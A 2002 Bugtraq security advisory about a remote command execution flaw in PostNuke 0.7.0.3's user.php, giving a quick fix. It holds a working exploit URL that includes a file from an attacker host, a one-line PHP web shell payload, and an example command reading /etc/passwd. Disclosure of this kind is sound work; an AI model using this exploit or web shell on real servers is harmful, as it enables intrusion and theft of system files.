postnuke v 0.7.0.3 remote command execution

From: pokleyzz sakamaniaka (pokleyzz@hotmail.com)
Date: 03/28/02 

Date: 28 Mar 2002 01:03:21 -0000
From: pokleyzz sakamaniaka <pokleyzz@hotmail.com>
To: bugtraq@securityfocus.com
('binary' encoding is not supported, stored as-is)

post nuke is one of popular content management
system written in php . there are bug in file user.php
line 107
which user can append $caselist array with their own
value.

foreach ($caselist as $k=>$v)
{
    $ModName = $v['module'];
    include "$v[path]/$k";
}
$caselist = array();

http://lame_host/user.php?caselist[bad_file.txt][path]
=http://bad_host&command=cat%20/etc/passwd

bad_file.txt (put in bad_host document root):

-- start bad_file.txt -----
<pre>
<?php
system($command);
?>
-- end bad_file.txt -----

quick fix:
put on line 28 :
$caselist = array();

http://inetd-secure.net/
http://www.mybsd.org.my/pokleyzz/

Relevant Pages